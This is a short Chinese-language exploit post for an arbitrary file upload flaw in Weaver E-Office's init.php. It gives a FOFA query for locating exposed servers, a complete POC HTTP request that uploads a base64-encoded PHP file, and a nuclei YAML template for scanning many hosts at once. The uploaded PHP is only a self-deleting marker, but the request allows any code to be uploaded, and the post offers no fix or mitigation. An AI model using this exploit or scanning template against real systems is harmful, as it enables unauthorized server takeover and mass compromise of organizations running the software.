泛微E-Office init.php文件上传漏洞

漏洞简介

泛微E-Office init.php文件存在任意文件上传漏洞，攻击者可以通过该漏洞直接获取网站权限。

漏洞复现

fofa语法：app="泛微-EOffice"
登录页面如下：

POC：

POST /E-mobile/App/init.php HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 170

m=common_Common_Flow&f=flowDo&diff=feedback&RUN_ID=1&USER_ID=1&CONTENT=1&FLOW_ID=1&upload_file=PD9waHAgZWNobyAiMTIzNDU2NzgiO3VubGluayhfX0ZJTEVfXyk7Pz4=&file_name=test.php

使用浏览器访问上传后的文件。

nuclei批量yaml文件

id: eoffice_init_uploal
info:
  name: 泛微 E-Office init.php存在文件上传漏洞
  author: mhb17
  severity: critical
  description: description
  reference:
    - https://
  tags: upload
requests:
  - raw:
      - |-
        POST /E-mobile/App/init.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
        Connection: close
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 170

        m=common_Common_Flow&f=flowDo&diff=feedback&RUN_ID=1&USER_ID=1&CONTENT=1&FLOW_ID=1&upload_file=PD9waHAgZWNobyAiMTIzNDU2NzgiO3VubGluayhfX0ZJTEVfXyk7Pz4=&file_name=test.php
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - flag
      - type: word
        part: body
        words:
          - ?diff=
      - type: word
        part: body
        words:
          - test.php
      - type: word
        part: header
        words:
          - '200'